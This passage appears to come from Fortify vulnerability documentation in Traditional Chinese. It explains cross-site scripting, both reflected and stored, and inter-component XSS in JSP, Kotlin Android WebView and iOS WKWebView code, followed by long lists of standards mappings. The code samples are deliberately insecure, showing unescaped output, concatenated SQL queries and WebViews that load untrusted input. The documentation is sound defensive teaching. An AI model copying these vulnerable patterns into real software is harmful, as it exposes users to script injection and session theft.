範例 3:以下 JSP 程式碼片段會在資料庫中查詢具有指定識別碼的員工,並列印相應的員工姓名。


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <%= name %>


Example 2 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Struts 2)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[43] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_inter_component_communication
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Inter-Component Communication XSS 案例中,不可信賴的來源為同一系統上其他元件所接收的資料。在行動環境中,這些是指在同一裝置上執行的應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料存放區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 1:以下程式碼會在 Android 的 WebView 中啟用 JavaScript (JavaScript 預設為停用),並根據從 Android 用意接收的值載入頁面。


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...


url 的值以 javascript: 開頭,隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。

範例 2:以下程式碼會從 HTTP servlet 要求讀取員工識別碼 eid,然後在 servlet 的回應中向使用者顯示其值。


val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 3:以下的程式碼片段,會根據所給予的識別碼在資料庫中查詢員工,並在 servlet 的回應中列印對應的員工姓名。


val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...


Example 2 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。


有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Spring MVC)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[43] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_inter_component_communication
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 或行動應用程式。在 Inter-Component Communication XSS 案例中,不可信賴的來源為同一系統上其他元件所接收的資料。在行動環境中,這些是指在同一裝置上執行的應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 1:以下程式碼可讓應用程式在含有資料的 WKWebView 中,從使用應用程式自訂 URL 架構的 URL 要求載入 html 頁面:

AppDelegate.m:

...
@property (strong, nonatomic) NSString *webContentFromURL;
...
- (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
...
[self setWebContentFromURL:[url host]];
...
...


ViewController.m

...
@property (strong, nonatomic) WKWebView *webView;
...
AppDelegate *appDelegate = (AppDelegate *)[[UIApplication sharedApplication] delegate];
...
[_webView loadHTMLString:appDelegate.webContentFromURL] baseURL:nil];
...


由於傳遞到 loadHTMLString: 的字串是使用者可控制的,並且 WKWebView 內依預設已啟用 JavaScript,因此使用者可透過使用應用程式自訂 URL 架構的要求,將任意內容 (包括可執行檔指令碼) 寫入 WKWebView。

範例 2:以下程式碼會讀取 UITextField 的內容,並在 WKWebView 中將其顯示給使用者:


...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView loadHTMLString:_inputTextField.text baseURL:nil];
...


如果 inputTextField 中的文字只包含標準英數字元,這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼,那麼網路瀏覽器就會像顯示 HTTP 回應那樣,可能會將輸入當成程式碼來執行。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的裝置上提供會導致惡意程式碼執行的輸入?真正的危險在於攻擊者可能使用電子郵件或社交工程病毒誘騙受害者執行此類動作。當這樣的誘騙成功,受害者就在不知情的情況下,透過易受攻擊的 Web 應用程式,將惡意內容帶回他們自己的裝置。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 3:以下程式碼片段會查詢資料庫中具有指定識別碼的員工,然後將值輸出於 WKWebView 的顯示內容中。


...
@property (strong, nonatomic) WKWebView *webView;
...
NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] init];
NSEntityDescription *entity = [NSEntityDescription entityForName:@"Employee" inManagedObjectContext:context];
[fetchRequest setEntity:entity];

NSArray *fetchedObjects = [context executeFetchRequest:fetchRequest error:&error];
for (NSManagedObject *info in fetchedObjects) {
NSString msg = @"Hello, " + [info valueForKey:@"name"];
[_webView loadHTMLString:msg baseURL:nil]
...
}
...


Example 2 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求,之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式,並會包含在動態內容中。

- 如 Example 2 所述,會直接從使用者可控制的 UI 元件讀取資料,並在 HTTP 回應中傳回資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
